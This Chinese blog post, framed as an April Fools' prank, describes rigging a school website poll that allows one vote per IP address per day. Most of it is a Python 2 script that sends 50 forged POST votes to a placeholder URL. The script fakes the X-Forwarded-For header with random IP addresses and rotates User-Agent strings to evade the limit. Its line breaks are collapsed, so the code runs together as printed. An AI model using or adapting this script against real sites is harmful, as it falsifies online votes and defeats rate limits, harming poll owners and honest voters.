愚人节搞怪——突破IP限制刷票

来源:互联网 发布:jquery转原生js 编辑:程序博客网 时间:2024/06/04 22:49

愚人节到了,我也恶搞一下。最近看到某学校某网站发起了一个不公平的投票,于是我就趁此愚人节到来之际恶搞了一下。

目标投票系统不是判断Cookie,而是限制IP的,每个IP24小时内只能投一次,于是我就参考http://wiki.woodpecker.org.cn/moin/MiscItems/2008-12-25,写了个刷票的脚本。

主要是伪装post请求头的X-Forwarded-For字段,为了方便就用python写了。

import httplibimport urllibimport urllib2import randomimport timeu_agents = ['Mozilla/4.0 (compatible; MSIE 4.01; Windows CE;Smartphone; 240x320; Dopod586W)','Mozilla/4.0 (compatible; MSIE 5.0; Series90/1.1 Nokia7710/c4.58.0 Profile/MIDP-2.0 Configuration/CLDC-1.0)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;Maxthon; .NET CLR 1.1.4322)','Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1.9)Gecko/20071025 Firefox/2.0.0.9','Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; zh-cn)Opera 8.54','Mozilla/5.0 (compatible; Konqueror/3.0-rc3; i686 Linux;20021113)','Opera/9.24 (Windows NT 5.2; U; zh-cn)','Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia N70/5.0635.2.5.3; 9404) Opera 8.65 [zh-CN]']for i in range(0, 50):u_agent  = random.choice(u_agents)myipaddr = '%s.%s.%s.%s' % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1, 254))url = 'http://xxx.xxx.xxx/yyy.jsp?zzz=aaa'values = {'radio_bb':'ccc'}data = urllib.urlencode(values)httplib.HTTPConnection.debuglevel = 1request = urllib2.Request(url,data)request.add_header("Accept", "text/html, application/xhtml+xml, */*")request.add_header("Referer", "http://localhost/xxx.html")request.add_header("Accept-Language", "zh-cn")request.add_header("User-Agent", u_agent)request.add_header("Accept-Encoding", "gzip, deflate")request.add_header("Host", "xxx.xxx.xxx")request.add_header("Connection", "Keep-Alive")request.add_header("X-Forwarded-For",myipaddr)response = urllib2.urlopen(request)#the_page = response.read()#print the_pagetime.sleep(0.3)


原创粉丝点击